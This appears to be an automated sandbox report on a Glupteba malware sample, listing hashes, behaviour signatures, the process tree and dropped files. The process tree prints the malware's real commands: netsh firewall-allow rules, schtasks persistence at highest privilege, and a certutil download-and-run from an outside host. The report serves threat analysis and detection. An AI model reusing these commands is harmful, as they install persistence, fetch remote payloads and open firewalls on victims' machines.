Analysis

  • max time kernel
    147s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-08-2024 03:14

General

  • Target

    a95ca9ce82560a1597850817ddd69b16_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    a95ca9ce82560a1597850817ddd69b16

  • SHA1

    180a0206e51a228a94d600bbf56c05ed85b90509

  • SHA256

    5e46be0d5e14713cc54213582bd50d3b08ab2913610b44e4ab9c906d6af4d712

  • SHA512

    9734303571f1ca9aa6518c59fd5c1b80eb92684f33a5fc206e54f824b637930bc03516552caaa92f8298e186c6a13373d22146d2bb1580655aabde007207e2db

  • SSDEEP

    98304:T3b92j3lL33Wo9nQEPoCaScgWQGH/kEb:T3Bi1TdJQOoCaSc0GHsEb

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 18 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a95ca9ce82560a1597850817ddd69b16_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a95ca9ce82560a1597850817ddd69b16_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4588
    • C:\Users\Admin\AppData\Local\Temp\a95ca9ce82560a1597850817ddd69b16_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a95ca9ce82560a1597850817ddd69b16_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1580
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9c3960131018\9c3960131018.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3532
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9c3960131018\9c3960131018.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4152
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4400
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4676
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2340
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5012
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2520
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3064
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 896
      2⤵
      • Program crash
      PID:2024
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4588 -ip 4588
    1⤵
      PID:3776

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

      Filesize

      1.7MB

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Windows\rss\csrss.exe

      Filesize

      3.7MB

      MD5

      a95ca9ce82560a1597850817ddd69b16

      SHA1

      180a0206e51a228a94d600bbf56c05ed85b90509

      SHA256

      5e46be0d5e14713cc54213582bd50d3b08ab2913610b44e4ab9c906d6af4d712

      SHA512

      9734303571f1ca9aa6518c59fd5c1b80eb92684f33a5fc206e54f824b637930bc03516552caaa92f8298e186c6a13373d22146d2bb1580655aabde007207e2db

    • memory/1580-8-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/1580-16-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/1580-10-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/1580-9-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4588-6-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4588-1-0x0000000002730000-0x0000000002AE4000-memory.dmp

      Filesize

      3.7MB

    • memory/4588-4-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4588-5-0x0000000002AF0000-0x00000000031EC000-memory.dmp

      Filesize

      7.0MB

    • memory/4588-3-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4588-2-0x0000000002AF0000-0x00000000031EC000-memory.dmp

      Filesize

      7.0MB

    • memory/4676-24-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-22-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-23-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-21-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-25-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-26-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-27-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-28-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-29-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-30-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB

    • memory/4676-31-0x0000000000400000-0x0000000000B18000-memory.dmp

      Filesize

      7.1MB